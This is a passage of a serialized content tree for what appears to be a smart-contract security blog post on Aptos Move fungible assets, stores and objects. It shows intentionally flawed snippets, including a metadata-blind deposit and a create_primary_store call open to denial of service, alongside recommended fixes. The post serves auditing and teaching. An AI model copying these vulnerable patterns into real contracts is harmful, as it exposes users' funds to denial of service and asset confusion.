primary_fungible_store",{"type":23,"tag":75,"props":73135,"children":73136},{"style":209},[73137],{"type":29,"value":1407},{"type":23,"tag":75,"props":73139,"children":73140},{"style":88},[73141],{"type":29,"value":73142},"deposit",{"type":23,"tag":75,"props":73144,"children":73145},{"style":94},[73146],{"type":29,"value":643},{"type":23,"tag":75,"props":73148,"children":73149},{"style":88},[73150],{"type":29,"value":73151},"global_vault_address",{"type":23,"tag":75,"props":73153,"children":73154},{"style":94},[73155],{"type":29,"value":1471},{"type":23,"tag":75,"props":73157,"children":73158},{"style":110},[73159],{"type":29,"value":72912},{"type":23,"tag":75,"props":73161,"children":73162},{"style":94},[73163],{"type":29,"value":15099},{"type":23,"tag":75,"props":73165,"children":73166},{"class":77,"line":340},[73167],{"type":23,"tag":75,"props":73168,"children":73169},{"style":94},[73170],{"type":29,"value":72965},{"type":23,"tag":75,"props":73172,"children":73173},{"class":77,"line":349},[73174,73179,73183,73188,73192,73197,73201,73205,73209,73213],{"type":23,"tag":75,"props":73175,"children":73176},{"style":94},[73177],{"type":29,"value":73178},"    event",{"type":23,"tag":75,"props":73180,"children":73181},{"style":209},[73182],{"type":29,"value":1407},{"type":23,"tag":75,"props":73184,"children":73185},{"style":88},[73186],{"type":29,"value":73187},"emit",{"type":23,"tag":75,"props":73189,"children":73190},{"style":94},[73191],{"type":29,"value":643},{"type":23,"tag":75,"props":73193,"children":73194},{"style":104},[73195],{"type":29,"value":73196},"Deposit",{"type":23,"tag":75,"props":73198,"children":73199},{"style":94},[73200],{"type":29,"value":56409},{"type":23,"tag":75,"props":73202,"children":73203},{"style":110},[73204],{"type":29,"value":73070},{"type":23,"tag":75,"props":73206,"children":73207},{"style":94},[73208],{"type":29,"value":611},{"type":23,"tag":75,"props":73210,"children":73211},{"style":110},[73212],{"type":29,"value":73061},{"type":23,"tag":75,"props":73214,"children":73215},{"style":94},[73216],{"type":29,"value":44215},{"type":23,"tag":75,"props":73218,"children":73219},{"class":77,"line":363},[73220],{"type":23,"tag":75,"props":73221,"children":73222},{"style":94},[73223],{"type":29,"value":369},{"type":23,"tag":32,"props":73225,"children":73226},{},[73227],{"type":29,"value":73228},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":23,"tag":32,"props":73230,"children":73231},{},[73232],{"type":29,"value":73233},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":23,"tag":24,"props":73235,"children":73237},{"id":73236},"fungible-stores",[73238],{"type":29,"value":73239},"Fungible stores",{"type":23,"tag":32,"props":73241,"children":73242},{},[73243],{"type":29,"value":73244},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":23,"tag":32,"props":73246,"children":73247},{},[73248,73250,73256],{"type":29,"value":73249},"Meet the ",{"type":23,"tag":71,"props":73251,"children":73253},{"className":73252},[],[73254],{"type":29,"value":73255},"FungibleStore",{"type":29,"value":557},{"type":23,"tag":64,"props":73258,"children":73260},{"className":987,"code":73259,"language":986,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[73261],{"type":23,"tag":71,"props":73262,"children":73263},{"__ignoreMap":7},[73264,73288,73315,73335,73354],{"type":23,"tag":75,"props":73265,"children":73266},{"class":77,"line":78},[73267,73271,73276,73280,73284],{"type":23,"tag":75,"props":73268,"children":73269},{"style":82},[73270],{"type":29,"value":20652},{"type":23,"tag":75,"props":73272,"children":73273},{"style":104},[73274],{"type":29,"value":73275}," FungibleStore",{"type":23,"tag":75,"props":73277,"children":73278},{"style":110},[73279],{"type":29,"value":20661},{"type":23,"tag":75,"props":73281,"children":73282},{"style":110},[73283],{"type":29,"value":1663},{"type":23,"tag":75,"props":73285,"children":73286},{"style":94},[73287],{"type":29,"value":401},{"type":23,"tag":75,"props":73289,"children":73290},{"class":77,"line":100},[73291,73295,73299,73303,73307,73311],{"type":23,"tag":75,"props":73292,"children":73293},{"style":110},[73294],{"type":29,"value":72733},{"type":23,"tag":75,"props":73296,"children":73297},{"style":209},[73298],{"type":29,"value":1018},{"type":23,"tag":75,"props":73300,"children":73301},{"style":104},[73302],{"type":29,"value":72742},{"type":23,"tag":75,"props":73304,"children":73305},{"style":94},[73306],{"type":29,"value":295},{"type":23,"tag":75,"props":73308,"children":73309},{"style":104},[73310],{"type":29,"value":72751},{"type":23,"tag":75,"props":73312,"children":73313},{"style":94},[73314],{"type":29,"value":1114},{"type":23,"tag":75,"props":73316,"children":73317},{"class":77,"line":121},[73318,73323,73327,73331],{"type":23,"tag":75,"props":73319,"children":73320},{"style":110},[73321],{"type":29,"value":73322},"    balance",{"type":23,"tag":75,"props":73324,"children":73325},{"style":209},[73326],{"type":29,"value":1018},{"type":23,"tag":75,"props":73328,"children":73329},{"style":104},[73330],{"type":29,"value":17129},{"type":23,"tag":75,"props":73332,"children":73333},{"style":94},[73334],{"type":29,"value":118},{"type":23,"tag":75,"props":73336,"children":73337},{"class":77,"line":138},[73338,73342,73346,73350],{"type":23,"tag":75,"props":73339,"children":73340},{"style":110},[73341],{"type":29,"value":72394},{"type":23,"tag":75,"props":73343,"children":73344},{"style":209},[73345],{"type":29,"value":1018},{"type":23,"tag":75,"props":73347,"children":73348},{"style":104},[73349],{"type":29,"value":3001},{"type":23,"tag":75,"props":73351,"children":73352},{"style":94},[73353],{"type":29,"value":118},{"type":23,"tag":75,"props":73355,"children":73356},{"class":77,"line":161},[73357],{"type":23,"tag":75,"props":73358,"children":73359},{"style":94},[73360],{"type":29,"value":369},{"type":23,"tag":32,"props":73362,"children":73363},{},[73364,73369,73371,73376,73378,73383,73385,73390,73392,73397],{"type":23,"tag":71,"props":73365,"children":73367},{"className":73366},[],[73368],{"type":29,"value":73255},{"type":29,"value":73370}," manages balances and metadata instead of holding the actual ",{"type":23,"tag":71,"props":73372,"children":73374},{"className":73373},[],[73375],{"type":29,"value":72692},{"type":29,"value":73377}," (it can't because ",{"type":23,"tag":71,"props":73379,"children":73381},{"className":73380},[],[73382],{"type":29,"value":72692},{"type":29,"value":73384}," doesn't have ",{"type":23,"tag":71,"props":73386,"children":73388},{"className":73387},[],[73389],{"type":29,"value":2411},{"type":29,"value":73391},"). Withdrawals create temporary ",{"type":23,"tag":71,"props":73393,"children":73395},{"className":73394},[],[73396],{"type":29,"value":72692},{"type":29,"value":73398}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":23,"tag":30016,"props":73400,"children":73401},{},[],{"type":23,"tag":32,"props":73403,"children":73404},{},[73405,73407,73412,73414,73419],{"type":29,"value":73406},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":23,"tag":71,"props":73408,"children":73410},{"className":73409},[],[73411],{"type":29,"value":72692},{"type":29,"value":73413}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":23,"tag":71,"props":73415,"children":73417},{"className":73416},[],[73418],{"type":29,"value":72692},{"type":29,"value":557},{"type":23,"tag":64,"props":73421,"children":73423},{"className":987,"code":73422,"language":986,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[73424],{"type":23,"tag":71,"props":73425,"children":73426},{"__ignoreMap":7},[73427,73464,73516,73559,73566,73573,73645,73657,73695,73714,73721],{"type":23,"tag":75,"props":73428,"children":73429},{"class":77,"line":78},[73430,73434,73438,73443,73447,73452,73456,73460],{"type":23,"tag":75,"props":73431,"children":73432},{"style":110},[73433],{"type":29,"value":172},{"type":23,"tag":75,"props":73435,"children":73436},{"style":110},[73437],{"type":29,"value":17474},{"type":23,"tag":75,"props":73439,"children":73440},{"style":88},[73441],{"type":29,"value":73442}," destroy_zero",{"type":23,"tag":75,"props":73444,"children":73445},{"style":94},[73446],{"type":29,"value":643},{"type":23,"tag":75,"props":73448,"children":73449},{"style":110},[73450],{"type":29,"value":73451},"fungible_asset",{"type":23,"tag":75,"props":73453,"children":73454},{"style":209},[73455],{"type":29,"value":1018},{"type":23,"tag":75,"props":73457,"children":73458},{"style":104},[73459],{"type":29,"value":72721},{"type":23,"tag":75,"props":73461,"children":73462},{"style":94},[73463],{"type":29,"value":193},{"type":23,"tag":75,"props":73465,"children":73466},{"class":77,"line":100},[73467,73471,73475,73479,73483,73487,73492,73496,73500,73504,73508,73512],{"type":23,"tag":75,"props":73468,"children":73469},{"style":82},[73470],{"type":29,"value":1183},{"type":23,"tag":75,"props":73472,"children":73473},{"style":104},[73474],{"type":29,"value":72721},{"type":23,"tag":75,"props":73476,"children":73477},{"style":94},[73478],{"type":29,"value":20837},{"type":23,"tag":75,"props":73480,"children":73481},{"style":110},[73482],{"type":29,"value":31526},{"type":23,"tag":75,"props":73484,"children":73485},{"style":94},[73486],{"type":29,"value":611},{"type":23,"tag":75,"props":73488,"children":73489},{"style":110},[73490],{"type":29,"value":73491},"metadata",{"type":23,"tag":75,"props":73493,"children":73494},{"style":209},[73495],{"type":29,"value":1018},{"type":23,"tag":75,"props":73497,"children":73498},{"style":110},[73499],{"type":29,"value":2062},{"type":23,"tag":75,"props":73501,"children":73502},{"style":94},[73503],{"type":29,"value":47394},{"type":23,"tag":75,"props":73505,"children":73506},{"style":209},[73507],{"type":29,"value":212},{"type":23,"tag":75,"props":73509,"children":73510},{"style":110},[73511],{"type":29,"value":72986},{"type":23,"tag":75,"props":73513,"children":73514},{"style":94},[73515],{"type":29,"value":245},{"type":23,"tag":75,"props":73517,"children":73518},{"class":77,"line":121},[73519,73524,73528,73532,73536,73540,73545,73549,73554],{"type":23,"tag":75,"props":73520,"children":73521},{"style":88},[73522],{"type":29,"value":73523},"    assert!",{"type":23,"tag":75,"props":73525,"children":73526},{"style":94},[73527],{"type":29,"value":643},{"type":23,"tag":75,"props":73529,"children":73530},{"style":110},[73531],{"type":29,"value":31526},{"type":23,"tag":75,"props":73533,"children":73534},{"style":209},[73535],{"type":29,"value":1372},{"type":23,"tag":75,"props":73537,"children":73538},{"style":237},[73539],{"type":29,"value":240},{"type":23,"tag":75,"props":73541,"children":73542},{"style":94},[73543],{"type":29,"value":73544},", error",{"type":23,"tag":75,"props":73546,"children":73547},{"style":209},[73548],{"type":29,"value":1407},{"type":23,"tag":75,"props":73550,"children":73551},{"style":88},[73552],{"type":29,"value":73553},"invalid_argument",{"type":23,"tag":75,"props":73555,"children":73556},{"style":94},[73557],{"type":29,"value":73558},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":23,"tag":75,"props":73560,"children":73561},{"class":77,"line":138},[73562],{"type":23,"tag":75,"props":73563,"children":73564},{"style":94},[73565],{"type":29,"value":369},{"type":23,"tag":75,"props":73567,"children":73568},{"class":77,"line":161},[73569],{"type":23,"tag":75,"props":73570,"children":73571},{"emptyLinePlaceholder":15},[73572],{"type":29,"value":276},{"type":23,"tag":75,"props":73574,"children":73575},{"class":77,"line":196},[73576,73580,73584,73589,73593,73597,73601,73605,73609,73613,73617,73621,73625,73629,73633,73637,73641],{"type":23,"tag":75,"props":73577,"children":73578},{"style":110},[73579],{"type":29,"value":172},{"type":23,"tag":75,"props":73581,"children":73582},{"style":110},[73583],{"type":29,"value":17474},{"type":23,"tag":75,"props":73585,"children":73586},{"style":110},[73587],{"type":29,"value":73588}," zero",{"type":23,"tag":75,"props":73590,"children":73591},{"style":94},[73592],{"type":29,"value":295},{"type":23,"tag":75,"props":73594,"children":73595},{"style":104},[73596],{"type":29,"value":17255},{"type":23,"tag":75,"props":73598,"children":73599},{"style":209},[73600],{"type":29,"value":1018},{"type":23,"tag":75,"props":73602,"children":73603},{"style":110},[73604],{"type":29,"value":1663},{"type":23,"tag":75,"props":73606,"children":73607},{"style":94},[73608],{"type":29,"value":18870},{"type":23,"tag":75,"props":73610,"children":73611},{"style":110},[73612],{"type":29,"value":73491},{"type":23,"tag":75,"props":73614,"children":73615},{"style":209},[73616],{"type":29,"value":1018},{"type":23,"tag":75,"props":73618,"children":73619},{"style":104},[73620],{"type":29,"value":72742},{"type":23,"tag":75,"props":73622,"children":73623},{"style":94},[73624],{"type":29,"value":295},{"type":23,"tag":75,"props":73626,"children":73627},{"style":104},[73628],{"type":29,"value":17255},{"type":23,"tag":75,"props":73630,"children":73631},{"style":94},[73632],{"type":29,"value":19647},{"type":23,"tag":75,"props":73634,"children":73635},{"style":209},[73636],{"type":29,"value":1018},{"type":23,"tag":75,"props":73638,"children":73639},{"style":104},[73640],{"type":29,"value":72721},{"type":23,"tag":75,"props":73642,"children":73643},{"style":94},[73644],{"type":29,"value":401},{"type":23,"tag":75,"props":73646,"children":73647},{"class":77,"line":220},[73648,73653],{"type":23,"tag":75,"props":73649,"children":73650},{"style":104},[73651],{"type":29,"value":73652},"    FungibleAsset",{"type":23,"tag":75,"props":73654,"children":73655},{"style":94},[73656],{"type":29,"value":401},{"type":23,"tag":75,"props":73658,"children":73659},{"class":77,"line":248},[73660,73665,73669,73674,73678,73683,73687,73691],{"type":23,"tag":75,"props":73661,"children":73662},{"style":110},[73663],{"type":29,"value":73664},"        metadata",{"type":23,"tag":75,"props":73666,"children":73667},{"style":209},[73668],{"type":29,"value":1018},{"type":23,"tag":75,"props":73670,"children":73671},{"style":94},[73672],{"type":29,"value":73673}," object",{"type":23,"tag":75,"props":73675,"children":73676},{"style":209},[73677],{"type":29,"value":1407},{"type":23,"tag":75,"props":73679,"children":73680},{"style":88},[73681],{"type":29,"value":73682},"convert",{"type":23,"tag":75,"props":73684,"children":73685},{"style":94},[73686],{"type":29,"value":643},{"type":23,"tag":75,"props":73688,"children":73689},{"style":110},[73690],{"type":29,"value":73491},{"type":23,"tag":75,"props":73692,"children":73693},{"style":94},[73694],{"type":29,"value":1792},{"type":23,"tag":75,"props":73696,"children":73697},{"class":77,"line":270},[73698,73702,73706,73710],{"type":23,"tag":75,"props":73699,"children":73700},{"style":110},[73701],{"type":29,"value":18708},{"type":23,"tag":75,"props":73703,"children":73704},{"style":209},[73705],{"type":29,"value":1018},{"type":23,"tag":75,"props":73707,"children":73708},{"style":237},[73709],{"type":29,"value":240},{"type":23,"tag":75,"props":73711,"children":73712},{"style":94},[73713],{"type":29,"value":118},{"type":23,"tag":75,"props":73715,"children":73716},{"class":77,"line":279},[73717],{"type":23,"tag":75,"props":73718,"children":73719},{"style":94},[73720],{"type":29,"value":346},{"type":23,"tag":75,"props":73722,"children":73723},{"class":77,"line":303},[73724],{"type":23,"tag":75,"props":73725,"children":73726},{"style":94},[73727],{"type":29,"value":369},{"type":23,"tag":32,"props":73729,"children":73730},{},[73731],{"type":29,"value":73732},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":23,"tag":32,"props":73734,"children":73735},{},[73736,73738,73743],{"type":29,"value":73737},"In practice, the ability to freely mint and burn zero ",{"type":23,"tag":71,"props":73739,"children":73741},{"className":73740},[],[73742],{"type":29,"value":72833},{"type":29,"value":73744}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":23,"tag":923,"props":73746,"children":73748},{"id":73747},"primary-and-secondary-stores",[73749],{"type":29,"value":73750},"Primary and secondary stores",{"type":23,"tag":32,"props":73752,"children":73753},{},[73754,73760,73762,73768,73770,73775],{"type":23,"tag":71,"props":73755,"children":73757},{"className":73756},[],[73758],{"type":29,"value":73759},"FungibleStores",{"type":29,"value":73761}," in comparison to ",{"type":23,"tag":71,"props":73763,"children":73765},{"className":73764},[],[73766],{"type":29,"value":73767},"CoinStores",{"type":29,"value":73769}," are not unique. Each user can have multiple ",{"type":23,"tag":71,"props":73771,"children":73773},{"className":73772},[],[73774],{"type":29,"value":73255},{"type":29,"value":73776}," objects for a given token!",{"type":23,"tag":32,"props":73778,"children":73779},{},[73780,73782,73789,73791,73796],{"type":29,"value":73781},"A primary fungible store is maintained via the aptly named ",{"type":23,"tag":940,"props":73783,"children":73786},{"href":73784,"rel":73785},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[944],[73787],{"type":29,"value":73788},"primary_fungible_store",{"type":29,"value":73790}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":23,"tag":71,"props":73792,"children":73794},{"className":73793},[],[73795],{"type":29,"value":72751},{"type":29,"value":73797}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":23,"tag":32,"props":73799,"children":73800},{},[73801],{"type":29,"value":73802},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":23,"tag":64,"props":73804,"children":73806},{"className":987,"code":73805,"language":986,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[73807],{"type":23,"tag":71,"props":73808,"children":73809},{"__ignoreMap":7},[73810,73834,73866,73889,73905,73959,73974],{"type":23,"tag":75,"props":73811,"children":73812},{"class":77,"line":78},[73813,73817,73821,73825,73830],{"type":23,"tag":75,"props":73814,"children":73815},{"style":110},[73816],{"type":29,"value":172},{"type":23,"tag":75,"props":73818,"children":73819},{"style":110},[73820],{"type":29,"value":13399},{"type":23,"tag":75,"props":73822,"children":73823},{"style":110},[73824],{"type":29,"value":17474},{"type":23,"tag":75,"props":73826,"children":73827},{"style":88},[73828],{"type":29,"value":73829}," register",{"type":23,"tag":75,"props":73831,"children":73832},{"style":94},[73833],{"type":29,"value":97},{"type":23,"tag":75,"props":73835,"children":73836},{"class":77,"line":100},[73837,73842,73846,73850,73854,73858,73862],{"type":23,"tag":75,"props":73838,"children":73839},{"style":110},[73840],{"type":29,"value":73841},"    user",{"type":23,"tag":75,"props":73843,"children":73844},{"style":209},[73845],{"type":29,"value":1018},{"type":23,"tag":75,"props":73847,"children":73848},{"style":209},[73849],{"type":29,"value":844},{"type":23,"tag":75,"props":73851,"children":73852},{"style":110},[73853],{"type":29,"value":3270},{"type":23,"tag":75,"props":73855,"children":73856},{"style":94},[73857],{"type":29,"value":55327},{"type":23,"tag":75,"props":73859,"children":73860},{"style":209},[73861],{"type":29,"value":9174},{"type":23,"tag":75,"props":73863,"children":73864},{"style":94},[73865],{"type":29,"value":823},{"type":23,"tag":75,"props":73867,"children":73868},{"class":77,"line":121},[73869,73873,73877,73881,73885],{"type":23,"tag":75,"props":73870,"children":73871},{"style":94},[73872],{"type":29,"value":167},{"type":23,"tag":75,"props":73874,"children":73875},{"style":110},[73876],{"type":29,"value":17611},{"type":23,"tag":75,"props":73878,"children":73879},{"style":94},[73880],{"type":29,"value":34247},{"type":23,"tag":75,"props":73882,"children":73883},{"style":209},[73884],{"type":29,"value":9174},{"type":23,"tag":75,"props":73886,"children":73887},{"style":94},[73888],{"type":29,"value":72945},{"type":23,"tag":75,"props":73890,"children":73891},{"class":77,"line":138},[73892,73897,73901],{"type":23,"tag":75,"props":73893,"children":73894},{"style":94},[73895],{"type":29,"value":73896},"    [",{"type":23,"tag":75,"props":73898,"children":73899},{"style":209},[73900],{"type":29,"value":9174},{"type":23,"tag":75,"props":73902,"children":73903},{"style":94},[73904],{"type":29,"value":823},{"type":23,"tag":75,"props":73906,"children":73907},{"class":77,"line":161},[73908,73912,73917,73921,73926,73930,73934,73938,73942,73946,73950,73955],{"type":23,"tag":75,"props":73909,"children":73910},{"style":82},[73911],{"type":29,"value":1183},{"type":23,"tag":75,"props":73913,"children":73914},{"style":110},[73915],{"type":29,"value":73916}," wallet_store",{"type":23,"tag":75,"props":73918,"children":73919},{"style":209},[73920],{"type":29,"value":1193},{"type":23,"tag":75,"props":73922,"children":73923},{"style":88},[73924],{"type":29,"value":73925}," create_primary_store",{"type":23,"tag":75,"props":73927,"children":73928},{"style":94},[73929],{"type":29,"value":18462},{"type":23,"tag":75,"props":73931,"children":73932},{"style":209},[73933],{"type":29,"value":1407},{"type":23,"tag":75,"props":73935,"children":73936},{"style":88},[73937],{"type":29,"value":18471},{"type":23,"tag":75,"props":73939,"children":73940},{"style":94},[73941],{"type":29,"value":643},{"type":23,"tag":75,"props":73943,"children":73944},{"style":110},[73945],{"type":29,"value":73040},{"type":23,"tag":75,"props":73947,"children":73948},{"style":94},[73949],{"type":29,"value":3851},{"type":23,"tag":75,"props":73951,"children":73952},{"style":88},[73953],{"type":29,"value":73954},"get_metadata",{"type":23,"tag":75,"props":73956,"children":73957},{"style":94},[73958],{"type":29,"value":1430},{"type":23,"tag":75,"props":73960,"children":73961},{"class":77,"line":196},[73962,73966,73970],{"type":23,"tag":75,"props":73963,"children":73964},{"style":94},[73965],{"type":29,"value":73896},{"type":23,"tag":75,"props":73967,"children":73968},{"style":209},[73969],{"type":29,"value":9174},{"type":23,"tag":75,"props":73971,"children":73972},{"style":94},[73973],{"type":29,"value":823},{"type":23,"tag":75,"props":73975,"children":73976},{"class":77,"line":220},[73977],{"type":23,"tag":75,"props":73978,"children":73979},{"style":94},[73980],{"type":29,"value":369},{"type":23,"tag":32,"props":73982,"children":73983},{},[73984,73985,73991,73993,73999],{"type":29,"value":2846},{"type":23,"tag":71,"props":73986,"children":73988},{"className":73987},[],[73989],{"type":29,"value":73990},"create_primary_store",{"type":29,"value":73992}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":23,"tag":71,"props":73994,"children":73996},{"className":73995},[],[73997],{"type":29,"value":73998},"ensure_primary_store_exists",{"type":29,"value":74000}," is recommended to avoid such issues.",{"type":23,"tag":24,"props":74002,"children":74004},{"id":74003},"fungible-assets-and-objects",[74005],{"type":29,"value":74006},"Fungible assets and objects",{"type":23,"tag":32,"props":74008,"children":74009},{},[74010,74012,74017,74019,74026],{"type":29,"value":74011},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":23,"tag":71,"props":74013,"children":74015},{"className":74014},[],[74016],{"type":29,"value":60038},{"type":29,"value":74018}," module, introduced in ",{"type":23,"tag":940,"props":74020,"children":74023},{"href":74021,"rel":74022},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[944],[74024],{"type":29,"value":74025},"AIP-10",{"type":29,"value":557},{"type":23,"tag":1829,"props":74028,"children":74029},{},[74030],{"type":23,"tag":32,"props":74031,"children":74032},{},[74033,74037],{"type":23,"tag":75,"props":74034,"children":74035},{},[74036],{"type":29,"value":72631},{"type":29,"value":74038}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":23,"tag":32,"props":74040,"children":74041},{},[74042],{"type":29,"value":74043},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":23,"tag":923,"props":74045,"children":74047},{"id":74046},"creation-and-deletion",[74048],{"type":29,"value":74049},"Creation and deletion",{"type":23,"tag":32,"props":74051,"children":74052},{},[74053,74055,74061],{"type":29,"value":74054},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":23,"tag":71,"props":74056,"children":74058},{"className":74057},[],[74059],{"type":29,"value":74060},"fungible_asset::add_fungibility",{"type":29,"value":1018},{"type":23,"tag":64,"props":74063,"children":74065},{"className":987,"code":74064,"language":986,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[74066],{"type":23,"tag":71,"props":74067,"children":74068},{"__ignoreMap":7},[74069],{"type":23,"tag":75,"props":74070,"children":74071},{"class":77,"line":78},[74072,74076,74080,74084,74089,74093,74098,74102,74107,74112,74116,74120],{"type":23,"tag":75,"props":74073,"children":74074},{"style":88},[74075],{"type":29,"value":53174},{"type":23,"tag":75,"props":74077,"children":74078},{"style":94},[74079],{"type":29,"value":643},{"type":23,"tag":75,"props":74081,"children":74082},{"style":209},[74083],{"type":29,"value":13434},{"type":23,"tag":75,"props":74085,"children":74086},{"style":94},[74087],{"type":29,"value":74088},"object",{"type":23,"tag":75,"props":74090,"children":74091},{"style":209},[74092],{"type":29,"value":1407},{"type":23,"tag":75,"props":74094,"children":74095},{"style":88},[74096],{"type":29,"value":74097},"can_generate_delete_ref",{"type":23,"tag":75,"props":74099,"children":74100},{"style":94},[74101],{"type":29,"value":643},{"type":23,"tag":75,"props":74103,"children":74104},{"style":110},[74105],{"type":29,"value":74106},"constructor_ref",{"type":23,"tag":75,"props":74108,"children":74109},{"style":94},[74110],{"type":29,"value":74111},"), error",{"type":23,"tag":75,"props":74113,"children":74114},{"style":209},[74115],{"type":29,"value":1407},{"type":23,"tag":75,"props":74117,"children":74118},{"style":88},[74119],{"type":29,"value":73553},{"type":23,"tag":75,"props":74121,"children":74122},{"style":94},[74123],{"type":29,"value":74124},"(EOBJECT_IS_DELETABLE));\n",{"type":23,"tag":32,"props":74126,"children":74127},{},[74128,74130,74135,74137,74142,74143,74150],{"type":29,"value":74129},"This object serves as the foundation for ownership tokens in the form of a ",{"type":23,"tag":71,"props":74131,"children":74133},{"className":74132},[],[74134],{"type":29,"value":72692},{"type":29,"value":74136},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":23,"tag":71,"props":74138,"children":74140},{"className":74139},[],[74141],{"type":29,"value":74060},{"type":29,"value":949},{"type":23,"tag":940,"props":74144,"children":74147},{"href":74145,"rel":74146},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[944],[74148],{"type":29,"value":74149},"lacked this assert",{"type":29,"value":74151},", which we discovered and reported.",{"type":23,"tag":32,"props":74153,"children":74154},{},[74155,74160,74162,74167,74169,74174],{"type":23,"tag":71,"props":74156,"children":74158},{"className":74157},[],[74159],{"type":29,"value":74060},{"type":29,"value":74161}," transfers the ",{"type":23,"tag":71,"props":74163,"children":74165},{"className":74164},[],[74166],{"type":29,"value":72751},{"type":29,"value":74168}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":23,"tag":71,"props":74170,"children":74172},{"className":74171},[],[74173],{"type":29,"value":72692},{"type":29,"value":74175}," can be minted, representing a share of ownership in that object.",{"type":23,"tag":64,"props":74177,"children":74179},{"className":987,"code":74178,"language":986,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[74180],{"type":23,"tag":71,"props":74181,"children":74182},{"__ignoreMap":7},[74183,74191,74211,74226,74253,74268,74289,74301,74313,74325,74337,74349,74361,74368,74375,74390],{"type":23,"tag":75,"props":74184,"children":74185},{"class":77,"line":78},[74186],{"type":23,"tag":75,"props":74187,"children":74188},{"style":3621},[74189],{"type":29,"value":74190},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":23,"tag":75,"props":74192,"children":74193},{"class":77,"line":100},[74194,74198,74202,74207],{"type":23,"tag":75,"props":74195,"children":74196},{"style":110},[74197],{"type":29,"value":172},{"type":23,"tag":75,"props":74199,"children":74200},{"style":110},[74201],{"type":29,"value":17474},{"type":23,"tag":75,"props":74203,"children":74204},{"style":88},[74205],{"type":29,"value":74206}," add_fungibility",{"type":23,"tag":75,"props":74208,"children":74209},{"style":94},[74210],{"type":29,"value":97},{"type":23,"tag":75,"props":74212,"children":74213},{"class":77,"line":121},[74214,74218,74222],{"type":23,"tag":75,"props":74215,"children":74216},{"style":94},[74217],{"type":29,"value":73896},{"type":23,"tag":75,"props":74219,"children":74220},{"style":209},[74221],{"type":29,"value":9174},{"type":23,"tag":75,"props":74223,"children":74224},{"style":94},[74225],{"type":29,"value":823},{"type":23,"tag":75,"props":74227,"children":74228},{"class":77,"line":138},[74229,74233,74237,74241,74245,74249],{"type":23,"tag":75,"props":74230,"children":74231},{"style":94},[74232],{"type":29,"value":1347},{"type":23,"tag":75,"props":74234,"children":74235},{"style":209},[74236],{"type":29,"value":1018},{"type":23,"tag":75,"props":74238,"children":74239},{"style":104},[74240],{"type":29,"value":72742},{"type":23,"tag":75,"props":74242,"children":74243},{"style":94},[74244],{"type":29,"value":295},{"type":23,"tag":75,"props":74246,"children":74247},{"style":104},[74248],{"type":29,"value":72751},{"type":23,"tag":75,"props":74250,"children":74251},{"style":94},[74252],{"type":29,"value":1175},{"type":23,"tag":75,"props":74254,"children":74255},{"class":77,"line":161},[74256,74260,74264],{"type":23,"tag":75,"props":74257,"children":74258},{"style":94},[74259],{"type":29,"value":73896},{"type":23,"tag":75,"props":74261,"children":74262},{"style":209},[74263],{"type":29,"value":9174},{"type":23,"tag":75,"props":74265,"children":74266},{"style":94},[74267],{"type":29,"value":823},{"type":23,"tag":75,"props":74269,"children":74270},{"class":77,"line":196},[74271,74276,74280,74285],{"type":23,"tag":75,"props":74272,"children":74273},{"style":88},[74274],{"type":29,"value":74275},"    